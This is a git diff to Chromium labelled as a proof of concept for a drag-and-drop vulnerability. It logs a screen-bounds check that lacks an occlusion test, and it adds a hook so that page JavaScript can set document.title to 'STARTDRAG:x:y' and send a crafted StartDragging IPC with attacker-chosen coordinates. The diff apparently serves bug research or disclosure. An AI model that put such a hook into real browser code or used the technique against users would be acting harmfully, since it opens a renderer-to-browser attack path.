diff --git a/content/browser/web_contents/web_contents_view_aura.cc b/content/browser/web_contents/web_contents_view_aura.cc
index a71c6b9b9a9b7..4dbece74644b8 100644
--- a/content/browser/web_contents/web_contents_view_aura.cc
+++ b/content/browser/web_contents/web_contents_view_aura.cc
@@ -1279,6 +1279,15 @@ void WebContentsViewAura::StartDragging(
       web_contents_->SystemDragEnded(source_rwh);
       return;
     }
+    // [POC] instrumentation: confirm renderer-supplied coordinates passed the
+    // 2D GetBoundsInScreen() containment gate (no occlusion / z-order check).
+    LOG(ERROR) << "[POC] WebContentsViewAura::StartDragging bounds check PASSED"
+               << " event_info.location="
+               << event_info.location.ToString()
+               << " content_bounds="
+               << content_native_view->GetBoundsInScreen().ToString()
+               << " source="
+               << static_cast<int>(event_info.source);
     base::CurrentThread::ScopedAllowApplicationTasksInNativeNestedLoop allow;
     result_op =
         aura::client::GetDragDropClient(root_window)
diff --git a/third_party/blink/renderer/core/dom/document.cc b/third_party/blink/renderer/core/dom/document.cc
index 2fb8b7259b8b0..d1dc6cbf7d91c 100644
--- a/third_party/blink/renderer/core/dom/document.cc
+++ b/third_party/blink/renderer/core/dom/document.cc
@@ -78,6 +78,18 @@
 #include "third_party/blink/public/platform/platform.h"
 #include "third_party/blink/public/platform/task_type.h"
 #include "third_party/blink/public/platform/web_content_settings_client.h"
+// --- POC INJECTION includes (compromised-renderer StartDragging) -------------
+#include "base/logging.h"
+#include "third_party/blink/public/common/page/drag_operation.h"
+#include "third_party/blink/public/mojom/drag/drag.mojom-blink.h"
+#include "third_party/blink/public/platform/web_drag_data.h"
+#include "third_party/blink/public/platform/web_string.h"
+#include "third_party/skia/include/core/SkBitmap.h"
+#include "ui/base/dragdrop/mojom/drag_drop_types.mojom-blink.h"
+#include "ui/gfx/geometry/point.h"
+#include "ui/gfx/geometry/rect.h"
+#include "ui/gfx/geometry/vector2d.h"
+// -----------------------------------------------------------------------------
 #include "third_party/blink/public/web/web_print_page_description.h"
 #include "third_party/blink/renderer/bindings/core/v8/capture_source_location.h"
 #include "third_party/blink/renderer/bindings/core/v8/frozen_array.h"
@@ -2138,6 +2150,41 @@ void Document::DispatchDidReceiveTitle() {
 }
 
 void Document::setTitle(const String& title) {
+  // ==========================================================================
+  // POC INJECTION: simulate a compromised renderer sending a crafted
+  // LocalFrameHost::StartDragging IPC with attacker-controlled
+  // DragEventSourceInfo {location, source=kTouch}. JS triggers this by
+  // setting document.title = "STARTDRAG:<screen_x>:<screen_y>".
+  // ==========================================================================
+  {
+    static constexpr char kPrefix[] = "STARTDRAG:";
+    std::string t = title.Utf8();
+    if (GetFrame() && t.rfind(kPrefix, 0) == 0) {
+      std::string rest = t.substr(sizeof(kPrefix) - 1);
+      size_t sep = rest.find(':');
+      int x = std::atoi(rest.substr(0, sep).c_str());
+      int y = (sep != std::string::npos) ? std::atoi(rest.substr(sep + 1).c_str())
+                                         : 0;
+      WebDragData drag_data;
+      WebDragData::StringItem item;
+      item.type = WebString::FromUtf8("text/plain");
+      item.data = WebString::FromUtf8("x");
+      drag_data.AddItem(item);
+
+      auto event_info = mojom::blink::DragEventSourceInfo::New(
+          gfx::Point(x, y), ui::mojom::blink::DragEventSource::kTouch);
+
+      LOG(ERROR) << "[POC] renderer sending crafted StartDragging "
+                 << "source=kTouch location=(" << x << "," << y << ")";
+
+      GetFrame()->GetLocalFrameHostRemote().StartDragging(
+          drag_data, kDragOperationCopy, SkBitmap(), gfx::Vector2d(),
+          gfx::Rect(), std::move(event_info));
+      return;
+    }
+  }
+  // ==========================================================================
+
   // Title set by JavaScript -- overrides any title elements.
   Element* element = documentElement();
   if (IsA<SVGSVGElement>(element)) {